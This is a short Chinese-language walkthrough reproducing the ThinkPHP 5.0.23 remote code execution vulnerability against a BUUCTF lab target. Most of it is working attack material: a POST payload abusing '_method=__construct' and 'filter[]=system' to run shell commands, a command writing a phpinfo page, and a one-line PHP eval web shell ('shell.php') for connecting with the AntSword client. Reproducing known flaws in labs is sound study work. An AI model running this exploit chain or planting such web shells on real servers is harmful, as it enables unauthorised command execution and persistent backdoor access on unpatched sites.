Thinkphp5.0.23 rce(远程代码执行)的漏洞复现
漏洞形成原因
框架介绍:
ThinkPHP是一款运用极广的PHP开发框架。
漏洞引入:
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作。
靶场ip:http://node4.buuoj.cn:28700/
添加url后缀index.php?s=captcha
构造方法_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
这里我们可以用hackebar或者bp抓包修改
我用的是maxhackbar
后面就可以修改id来进行操作
Id改为
echo "<?php phpinfo(); ?>" > info.php
http://node4.buuoj.cn:28700/info.php
Info中有
或者尝试写入一句话
进行连接蚁剑
echo '<?php eval($_POST[aaa]); ?>' > shell.php